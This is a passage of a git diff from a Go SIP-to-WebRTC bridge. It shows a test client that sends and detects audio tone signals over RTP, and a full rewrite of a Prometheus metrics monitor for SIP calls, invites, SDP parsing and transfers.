wr.Close() + + ticker := time.NewTicker(rtp.DefFrameDur) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + return nil + case <-ticker.C: + } + if err := wr.WriteSample(buf); err != nil { + return err + } + } +} + +const ( + signalAmp = math.MaxInt16 / 4 + signalAmpMin = signalAmp - signalAmp/4 // TODO: why it's so low? + signalAmpMax = signalAmp + signalAmp/10 +) + +// SendSignal generate an audio signal with a given value. It repeats the signal n times, each frame containing one signal. +// If n <= 0, it will send the signal until the context is cancelled. +func (c *Client) SendSignal(ctx context.Context, n int, val int) error { + const framesPerSec = int(time.Second / rtp.DefFrameDur) + signal := make(msdk.PCM16Sample, c.audioCodec.Info().SampleRate/framesPerSec) + audiotest.GenSignal(signal, []audiotest.Wave{{Ind: val, Amp: signalAmp}}) + wr := c.audioOut.NewInput() + defer wr.Close() + + c.log.Info("sending signal", "len", len(signal), "n", n, "sig", val) + + ticker := time.NewTicker(rtp.DefFrameDur) + defer ticker.Stop() + for i := 0; n <= 0 || i < n; i++ { + select { + case <-ctx.Done(): + if n <= 0 { + c.log.Debug("stopping signal", "n", i, "sig", val) + return nil + } + return ctx.Err() + case <-ticker.C: + } + + if err := wr.WriteSample(signal); err != nil { + return err + } + } + return nil +} + +// WaitSignals waits for an audio frame to contain all signals. +func (c *Client) WaitSignals(ctx context.Context, vals []int, w io.WriteCloser) error { + sampleRate := c.audioCodec.Info().SampleRate + var ws msdk.PCM16Writer + if w != nil { + ws = webmm.NewPCM16Writer(w, sampleRate, 1, rtp.DefFrameDur) + defer ws.Close() + } + const framesPerSec = int(time.Second / rtp.DefFrameDur) + decoded := make(msdk.PCM16Sample, sampleRate/framesPerSec) + dec := rtp.DecodePCM(msdk.NewPCM16BufferWriter(&decoded, sampleRate), c.audioCodec, c.audioType) + lastLog := time.Now() + + pkts := make(chan *rtp.Packet, 1) + done := make(chan struct{}) + + h := rtp.NewNopCloser(rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { + // Make sure er do not send on a closed channel + select { + case <-done: + return ctx.Err() + default: + } + + select { + case <-ctx.Done(): + close(pkts) + close(done) + return ctx.Err() + case pkts <- &rtp.Packet{Header: *hdr, Payload: slices.Clone(payload)}: + } + + return nil + })) + c.recordHandler.Store(&h) + + for { + var p *rtp.Packet + select { + case <-ctx.Done(): + return ctx.Err() + case p = <-pkts: + } + + if p.PayloadType != c.audioType { + c.log.Debug("skipping payload", "type", p.PayloadType) + continue + } + decoded = decoded[:0] + if err := dec.HandleRTP(&p.Header, p.Payload); err != nil { + return err + } + if ws != nil { + if err := ws.WriteSample(decoded); err != nil { + return err + } + } + if !slices.ContainsFunc(decoded, func(v int16) bool { return v != 0 }) { + continue // Ignore silence. + } + out := audiotest.FindSignal(decoded) + if len(out) >= len(vals) { + // Only consider first N strongest signals. + out = out[:len(vals)] + // Sort them again by index, so it's easier to compare. + slices.SortFunc(out, func(a, b audiotest.Wave) int { + return a.Ind - b.Ind + }) + ok := true + for i := range vals { + // All signals must match the frequency and have around the same amplitude. + if out[i].Ind != vals[i] || out[i].Amp < signalAmpMin || out[i].Amp > signalAmpMax { + ok = false + break + } + } + if ok { + c.log.Debug("signal found", "sig", vals) + return nil + } + } + // Remove most other components from the logs. + if len(out) > len(vals)*2 { + out = out[:len(vals)*2] + } + if time.Since(lastLog) > time.Second { + lastLog = time.Now() + c.log.Debug("skipping signal", "len", len(decoded), "signals", out) + } + } + + return nil +} + +func getResponse(tx sip.ClientTransaction) (*sip.Response, error) { + cnt := 0 + for { + select { + case <-tx.Done(): + return nil, fmt.Errorf("transaction failed to complete (%d intermediate responses)", cnt) + case res := <-tx.Responses(): + switch res.StatusCode { + default: + return res, nil + case 100, 180, 183: + // continue + cnt++ + } + } + } +} + +func parseSDPAnswer(in []byte) (string, int, error) { + offer := sdp.SessionDescription{} + if err := offer.Unmarshal(in); err != nil { + return "", 0, err + } + + return offer.ConnectionInformation.Address.Address, offer.MediaDescriptions[0].MediaName.Port.Value, nil +} diff --git a/pkg/stats/monitor.go b/pkg/stats/monitor.go index fb027957b..48e30d1e0 100644 --- a/pkg/stats/monitor.go +++ b/pkg/stats/monitor.go @@ -1,599 +1,599 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package stats - -import ( - "errors" - "strconv" - "sync/atomic" - "time" - - "github.com/frostbyte73/core" - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/collectors" - - "github.com/livekit/protocol/utils/hwstats" - - "github.com/livekit/sip/pkg/config" -) - -// Durations are in seconds -var ( - // durBucketsOp lists histogram buckets for relatively short operations like SIP INVITE. - durBucketsOp = []float64{ - 0.1, 0.5, 1, 2.5, 5, 10, 20, 30, 60, 3 * 60, - } - // durBucketsLong lists histogram buckets for long operations like call/session durations. - durBucketsLong = []float64{ - 1, 10, 60, 10 * 60, 30 * 60, 3600, 6 * 3600, 12 * 3600, 24 * 3600, - } - sizeBuckets = []float64{ - 100, 250, 500, 750, 1000, 1250, 1500, - } -) - -type CallDir bool - -func (d CallDir) String() string { - if d == Inbound { - return "in" - } - return "out" -} - -const ( - Inbound = CallDir(false) - Outbound = CallDir(true) -) - -type Monitor struct { - nodeID string - - inviteReqRaw prometheus.Counter - inviteReq *prometheus.CounterVec - inviteAccept *prometheus.CounterVec - inviteErr *prometheus.CounterVec - callsActive *prometheus.GaugeVec - callsTerminated *prometheus.CounterVec - callsTerminationFailures *prometheus.CounterVec - packetsRTP *prometheus.CounterVec - durSession *prometheus.HistogramVec - durCall *prometheus.HistogramVec - durJoin *prometheus.HistogramVec - durCheck *prometheus.HistogramVec - durStage *prometheus.HistogramVec - cpuLoad prometheus.Gauge - sdpSize *prometheus.HistogramVec - sdpParsed *prometheus.CounterVec - sdpParseErrors *prometheus.CounterVec - codecOffered *prometheus.CounterVec - nodeAvailable prometheus.GaugeFunc - transfersTotal *prometheus.CounterVec - transfersSucceeded *prometheus.CounterVec - transfersFailed *prometheus.CounterVec - transfersActive *prometheus.GaugeVec - - cpu *hwstats.CPUStats - maxUtilization float64 - - metrics []prometheus.Collector - started core.Fuse - shutdown core.Fuse -} - -func NewMonitor(conf *config.Config) (*Monitor, error) { - m := &Monitor{ - nodeID: conf.NodeID, - maxUtilization: conf.MaxCpuUtilization, - } - cpu, err := hwstats.NewCPUStats(func(idle float64) { - if m.started.IsBroken() { - m.cpuLoad.Set(1 - idle/m.cpu.NumCPU()) - } - }) - if err != nil { - return nil, err - } - m.cpu = cpu - return m, nil -} - -func mustRegister[T prometheus.Collector](m *Monitor, c T) T { - err := prometheus.Register(c) - if err != nil { - var e prometheus.AlreadyRegisteredError - if errors.As(err, &e) { - return e.ExistingCollector.(T) - } else { - panic(err) - } - } - m.metrics = append(m.metrics, c) - return c -} - -func (m *Monitor) Start(conf *config.Config) error { - prometheus.Unregister(collectors.NewGoCollector()) - mustRegister(m, collectors.NewGoCollector(collectors.WithGoCollectorRuntimeMetrics(collectors.MetricsAll))) - - m.inviteReqRaw = mustRegister(m, prometheus.NewCounter(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "invite_requests_raw", - Help: "Number of unvalidated SIP INVITE requests received", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - })) - - m.inviteReq = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "invite_requests", - Help: "Number of valid SIP INVITE requests received", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir"})) - - m.inviteAccept = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "invite_accepted", - Help: "Number of accepted SIP INVITE requests (that matched a trunk and passed auth)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "to"})) - - m.inviteErr = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "invite_error", - Help: "Number of rejected SIP INVITE requests", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "to", "reason"})) - - m.callsActive = mustRegister(m, prometheus.NewGaugeVec(prometheus.GaugeOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "calls_active", - Help: "Number of currently active SIP calls", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "to"})) - - m.callsTerminated = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "calls_terminated", - Help: "Number of calls terminated by SIP bridge, labeled with result classification (success | server_error | client_error)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "to", "result", "reason"})) - - m.callsTerminationFailures = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "calls_termination_failures", - Help: "Number of calls that failed to terminate after 5 minutes", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir"})) - - m.packetsRTP = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "packets_rtp", - Help: "Number of RTP packets sent or received by SIP bridge", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "to", "op", "payload"})) - - m.durSession = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "dur_session_sec", - Help: "SIP session duration (from INVITE to closed)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: durBucketsLong, - }, []string{"dir"})) - - m.durCall = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "dur_call_sec", - Help: "SIP call duration (from successful pin to closed)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: durBucketsLong, - }, []string{"dir"})) - - m.durCheck = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "dur_check_sec", - Help: "SIP call check duration (from INVITE to an initial dispatch response)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: durBucketsOp, - }, []string{"dir"})) - - m.durJoin = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "dur_join_sec", - Help: "SIP room join duration (from INVITE to mixed room audio)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: durBucketsOp, - }, []string{"dir"})) - - m.durStage = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "stage_dur_sec", - Help: "SIP processing stage durations (depends on 'stage' label)", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: durBucketsOp, - }, []string{"dir", "stage"})) - - m.sdpSize = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "sdp_size_bytes", - Help: "SDP size in bytes", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - Buckets: sizeBuckets, - }, []string{"type", "source"})) - - m.sdpParsed = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "sdp_parsed_total", - Help: "Number of SDP bodies parsed successfully during SDP negotiation", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "provider", "reinvite"})) - - m.sdpParseErrors = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "sdp_parse_errors_total", - Help: "Total number of SDP parses that resulted in an error", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "provider", "reason"})) - - m.codecOffered = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "codec_offered_total", - Help: "Number of SDP bodies that advertised a given audio codec", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "provider", "codec", "reinvite"})) - - m.nodeAvailable = mustRegister(m, prometheus.NewGaugeFunc(prometheus.GaugeOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "available", - Help: "Whether node can accept new requests", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, func() float64 { - if m.Health() == HealthOK { - return 1 - } - return 0 - })) - - m.cpuLoad = mustRegister(m, prometheus.NewGauge(prometheus.GaugeOpts{ - Namespace: "livekit", - Subsystem: "node", - Name: "cpu_load", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID, "node_type": "SIP"}, - })) - - m.transfersTotal = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "transfers_total", - Help: "Total number of SIP transfer attempts", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir"})) - - m.transfersSucceeded = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "transfers_succeeded_total", - Help: "Total number of successful SIP transfers", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir"})) - - m.transfersFailed = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "transfers_failed_total", - Help: "Total number of failed SIP transfers", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir", "reason"})) - - m.transfersActive = mustRegister(m, prometheus.NewGaugeVec(prometheus.GaugeOpts{ - Namespace: "livekit", - Subsystem: "sip", - Name: "transfers_active", - Help: "Number of currently active SIP transfers", - ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, - }, []string{"dir"})) - - m.started.Break() - - return nil -} - -func (m *Monitor) Shutdown() { - m.shutdown.Break() -} - -func (m *Monitor) Stop() { - for _, c := range m.metrics { - prometheus.Unregister(c) - } - m.metrics = nil -} - -//go:generate stringer -type HealthStatus -trimprefix Health - -type HealthStatus int - -const ( - HealthOK HealthStatus = iota - HealthNotStarted - HealthStopped - HealthUnderLoad - HealthDisabled -) - -func (m *Monitor) Health() HealthStatus { - if !m.started.IsBroken() { - return HealthNotStarted - } - if m.shutdown.IsBroken() { - return HealthStopped - } - if m.cpu.GetCPUIdle() < m.cpu.NumCPU()*(1-m.maxUtilization) { - return HealthUnderLoad - } - return HealthOK -} - -func (m *Monitor) IdleCPU() float64 { - return m.cpu.GetCPUIdle() -} - -func (m *Monitor) InviteReqRaw(dir CallDir) { - m.inviteReqRaw.Inc() -} - -func (m *Monitor) NewCall(dir CallDir, fromHost, toHost string) *CallMonitor { - return &CallMonitor{ - m: m, - dir: dir.String(), - fromHost: fromHost, - toHost: toHost, - } -} - -type CallMonitor struct { - m *Monitor - dir string - fromHost string - toHost string - provider atomic.Pointer[string] - started atomic.Bool - terminated atomic.Bool -} - -// ProviderUnknown is used when there is no provider information -const ProviderUnknown = "unknown" - -func (c *CallMonitor) SetProvider(provider string) { - if provider == "" { - return - } - c.provider.Store(&provider) -} - -func (c *CallMonitor) providerLabel() string { - if p := c.provider.Load(); p != nil { - return *p - } - return ProviderUnknown -} - -func (c *CallMonitor) labelsShort(l prometheus.Labels) prometheus.Labels { - out := prometheus.Labels{"dir": c.dir} - for k, v := range l { - out[k] = v - } - return out -} - -func (c *CallMonitor) labels(l prometheus.Labels) prometheus.Labels { - out := prometheus.Labels{"dir": c.dir, "to": c.toHost} - for k, v := range l { - out[k] = v - } - return out -} - -func (c *CallMonitor) InviteReq() { - c.m.inviteReq.With(c.labelsShort(nil)).Inc() -} - -func (c *CallMonitor) InviteAccept() { - c.m.inviteAccept.With(c.labels(nil)).Inc() -} - -// InviteErrorShort records a SIP INVITE rejection that occurred before a call -// object existed (no validated trunk). Writes to the legacy invite_error -// counter (kept for back-compat) and routes through CallTerminate so the -// unified calls_terminated counter has consistent classification. -func (c *CallMonitor) InviteErrorShort(t Termination) { - c.m.inviteErr.With(c.labelsShort(prometheus.Labels{"reason": t.Reason, "to": "unknown"})).Inc() - c.m.callsTerminated.With(c.labelsShort(prometheus.Labels{ - "to": "unknown", - "result": string(t.Result), - "reason": t.Reason, - })).Inc() -} - -// InviteError records a SIP INVITE rejection after the trunk is known. Used -// by outbound INVITE failure paths where CallTerminate also fires for the same -// call, so this only writes to the legacy invite_error counter. -func (c *CallMonitor) InviteError(reason string) { - c.m.inviteErr.With(c.labels(prometheus.Labels{"reason": reason})).Inc() -} - -func (c *CallMonitor) CallStart() { - if !c.started.CompareAndSwap(false, true) { - return - } - c.m.callsActive.With(c.labels(nil)).Inc() -} - -func (c *CallMonitor) CallEnd() { - if !c.started.CompareAndSwap(true, false) { - return - } - c.m.callsActive.With(c.labels(nil)).Dec() -} - -func (c *CallMonitor) CallTerminate(t Termination) { - if !c.terminated.CompareAndSwap(false, true) { - return - } - c.m.callsTerminated.With(c.labels(prometheus.Labels{ - "result": string(t.Result), - "reason": t.Reason, - })).Inc() -} - -func (c *CallMonitor) CallTerminationFailure() { - c.m.callsTerminationFailures.With(c.labelsShort(nil)).Inc() -} - -func (c *CallMonitor) RTPPacketSend(payloadType string) { - c.m.packetsRTP.With(c.labels(prometheus.Labels{"op": "send", "payload": payloadType})).Inc() -} - -func (c *CallMonitor) RTPPacketRecv(payloadType string) { - c.m.packetsRTP.With(c.labels(prometheus.Labels{"op": "recv", "payload": payloadType})).Inc() -} - -func (c *CallMonitor) SessionDur() func() time.Duration { - t1 := prometheus.NewTimer(c.m.durSession.With(c.labelsShort(nil))).ObserveDuration - t2 := c.StageDurTimer("session") - return func() time.Duration { - t2() - return t1() - } -} - -func (c *CallMonitor) CallDur() func() time.Duration { - t1 := prometheus.NewTimer(c.m.durCall.With(c.labelsShort(nil))).ObserveDuration - t2 := c.StageDurTimer("call") - return func() time.Duration { - t2() - return t1() - } -} - -func (c *CallMonitor) CheckDur() func(dt time.Duration) { - t1 := c.m.durCheck.With(c.labelsShort(nil)) - t2 := c.StageDur("auth-check") - return func(dt time.Duration) { - sec := dt.Seconds() - t1.Observe(sec) - t2.Observe(sec) - } -} - -func (c *CallMonitor) JoinDur() func() time.Duration { - t1 := prometheus.NewTimer(c.m.durJoin.With(c.labelsShort(nil))).ObserveDuration - t2 := c.StageDurTimer("invite-to-dispatch") - return func() time.Duration { - t2() - return t1() - } -} - -func (c *CallMonitor) StageDur(stage string) prometheus.Observer { - return c.m.durStage.With(c.labelsShort(prometheus.Labels{ - "stage": stage, - })) -} - -func (c *CallMonitor) StageDurTimer(stage string) func() time.Duration { - return prometheus.NewTimer(c.StageDur(stage)).ObserveDuration -} - -// PeerSDP increments SDP count and each individual codec from the SDP body. -// Should be called before codec selection such that failed negotiations are still counted -func (c *CallMonitor) PeerSDP(names []string, reinvite bool) { - provider := c.providerLabel() - c.m.sdpParsed.With(prometheus.Labels{"dir": c.dir, "provider": provider, "reinvite": strconv.FormatBool(reinvite)}).Inc() - for _, name := range names { - c.m.codecOffered.With(prometheus.Labels{ - "dir": c.dir, - "provider": provider, - "codec": name, - "reinvite": strconv.FormatBool(reinvite), - }).Inc() - } -} - -func (c *CallMonitor) SDPSize(sz int, isOffer bool, isFromRemote bool) { - typ := "answer" - if isOffer { - typ = "offer" - } - source := "local" - if isFromRemote { - source = "remote" - } - c.m.sdpSize.WithLabelValues(typ, source).Observe(float64(sz)) -} - -// SDPParsePanic increments a counter denoting the number of times a panic has -// occurred during SDP parsing. -func (c *CallMonitor) SDPParsePanic() { - c.m.sdpParseErrors.With(prometheus.Labels{ - "dir": c.dir, - "provider": c.providerLabel(), - "reason": "panic", - }).Inc() -} - -// SDPParseError increments a counter denoting the number of times a non-panic -// error has occurred during SDP parsing. -func (c *CallMonitor) SDPParseError() { - c.m.sdpParseErrors.With(prometheus.Labels{ - "dir": c.dir, - "provider": c.providerLabel(), - "reason": "other", - }).Inc() -} - -func (m *Monitor) TransferStarted(dir CallDir) { - m.transfersTotal.WithLabelValues(dir.String()).Inc() - m.transfersActive.WithLabelValues(dir.String()).Inc() -} - -func (m *Monitor) TransferSucceeded(dir CallDir) { - m.transfersSucceeded.WithLabelValues(dir.String()).Inc() - m.transfersActive.WithLabelValues(dir.String()).Dec() -} - -func (m *Monitor) TransferFailed(dir CallDir, reason string, changeActive bool) { - m.transfersFailed.WithLabelValues(dir.String(), reason).Inc() - if changeActive { - m.transfersActive.WithLabelValues(dir.String()).Dec() - } -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package stats + +import ( + "errors" + "strconv" + "sync/atomic" + "time" + + "github.com/frostbyte73/core" + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/collectors" + + "github.com/livekit/protocol/utils/hwstats" + + "github.com/livekit/sip/pkg/config" +) + +// Durations are in seconds +var ( + // durBucketsOp lists histogram buckets for relatively short operations like SIP INVITE. + durBucketsOp = []float64{ + 0.1, 0.5, 1, 2.5, 5, 10, 20, 30, 60, 3 * 60, + } + // durBucketsLong lists histogram buckets for long operations like call/session durations. + durBucketsLong = []float64{ + 1, 10, 60, 10 * 60, 30 * 60, 3600, 6 * 3600, 12 * 3600, 24 * 3600, + } + sizeBuckets = []float64{ + 100, 250, 500, 750, 1000, 1250, 1500, + } +) + +type CallDir bool + +func (d CallDir) String() string { + if d == Inbound { + return "in" + } + return "out" +} + +const ( + Inbound = CallDir(false) + Outbound = CallDir(true) +) + +type Monitor struct { + nodeID string + + inviteReqRaw prometheus.Counter + inviteReq *prometheus.CounterVec + inviteAccept *prometheus.CounterVec + inviteErr *prometheus.CounterVec + callsActive *prometheus.GaugeVec + callsTerminated *prometheus.CounterVec + callsTerminationFailures *prometheus.CounterVec + packetsRTP *prometheus.CounterVec + durSession *prometheus.HistogramVec + durCall *prometheus.HistogramVec + durJoin *prometheus.HistogramVec + durCheck *prometheus.HistogramVec + durStage *prometheus.HistogramVec + cpuLoad prometheus.Gauge + sdpSize *prometheus.HistogramVec + sdpParsed *prometheus.CounterVec + sdpParseErrors *prometheus.CounterVec + codecOffered *prometheus.CounterVec + nodeAvailable prometheus.GaugeFunc + transfersTotal *prometheus.CounterVec + transfersSucceeded *prometheus.CounterVec + transfersFailed *prometheus.CounterVec + transfersActive *prometheus.GaugeVec + + cpu *hwstats.CPUStats + maxUtilization float64 + + metrics []prometheus.Collector + started core.Fuse + shutdown core.Fuse +} + +func NewMonitor(conf *config.Config) (*Monitor, error) { + m := &Monitor{ + nodeID: conf.NodeID, + maxUtilization: conf.MaxCpuUtilization, + } + cpu, err := hwstats.NewCPUStats(func(idle float64) { + if m.started.IsBroken() { + m.cpuLoad.Set(1 - idle/m.cpu.NumCPU()) + } + }) + if err != nil { + return nil, err + } + m.cpu = cpu + return m, nil +} + +func mustRegister[T prometheus.Collector](m *Monitor, c T) T { + err := prometheus.Register(c) + if err != nil { + var e prometheus.AlreadyRegisteredError + if errors.As(err, &e) { + return e.ExistingCollector.(T) + } else { + panic(err) + } + } + m.metrics = append(m.metrics, c) + return c +} + +func (m *Monitor) Start(conf *config.Config) error { + prometheus.Unregister(collectors.NewGoCollector()) + mustRegister(m, collectors.NewGoCollector(collectors.WithGoCollectorRuntimeMetrics(collectors.MetricsAll))) + + m.inviteReqRaw = mustRegister(m, prometheus.NewCounter(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "invite_requests_raw", + Help: "Number of unvalidated SIP INVITE requests received", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + })) + + m.inviteReq = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "invite_requests", + Help: "Number of valid SIP INVITE requests received", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir"})) + + m.inviteAccept = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "invite_accepted", + Help: "Number of accepted SIP INVITE requests (that matched a trunk and passed auth)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "to"})) + + m.inviteErr = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "invite_error", + Help: "Number of rejected SIP INVITE requests", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "to", "reason"})) + + m.callsActive = mustRegister(m, prometheus.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "calls_active", + Help: "Number of currently active SIP calls", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "to"})) + + m.callsTerminated = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "calls_terminated", + Help: "Number of calls terminated by SIP bridge, labeled with result classification (success | server_error | client_error)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "to", "result", "reason"})) + + m.callsTerminationFailures = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "calls_termination_failures", + Help: "Number of calls that failed to terminate after 5 minutes", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir"})) + + m.packetsRTP = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "packets_rtp", + Help: "Number of RTP packets sent or received by SIP bridge", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "to", "op", "payload"})) + + m.durSession = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "dur_session_sec", + Help: "SIP session duration (from INVITE to closed)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: durBucketsLong, + }, []string{"dir"})) + + m.durCall = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "dur_call_sec", + Help: "SIP call duration (from successful pin to closed)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: durBucketsLong, + }, []string{"dir"})) + + m.durCheck = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "dur_check_sec", + Help: "SIP call check duration (from INVITE to an initial dispatch response)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: durBucketsOp, + }, []string{"dir"})) + + m.durJoin = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "dur_join_sec", + Help: "SIP room join duration (from INVITE to mixed room audio)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: durBucketsOp, + }, []string{"dir"})) + + m.durStage = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "stage_dur_sec", + Help: "SIP processing stage durations (depends on 'stage' label)", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: durBucketsOp, + }, []string{"dir", "stage"})) + + m.sdpSize = mustRegister(m, prometheus.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "sdp_size_bytes", + Help: "SDP size in bytes", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + Buckets: sizeBuckets, + }, []string{"type", "source"})) + + m.sdpParsed = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "sdp_parsed_total", + Help: "Number of SDP bodies parsed successfully during SDP negotiation", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "provider", "reinvite"})) + + m.sdpParseErrors = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "sdp_parse_errors_total", + Help: "Total number of SDP parses that resulted in an error", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "provider", "reason"})) + + m.codecOffered = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "codec_offered_total", + Help: "Number of SDP bodies that advertised a given audio codec", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "provider", "codec", "reinvite"})) + + m.nodeAvailable = mustRegister(m, prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "available", + Help: "Whether node can accept new requests", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, func() float64 { + if 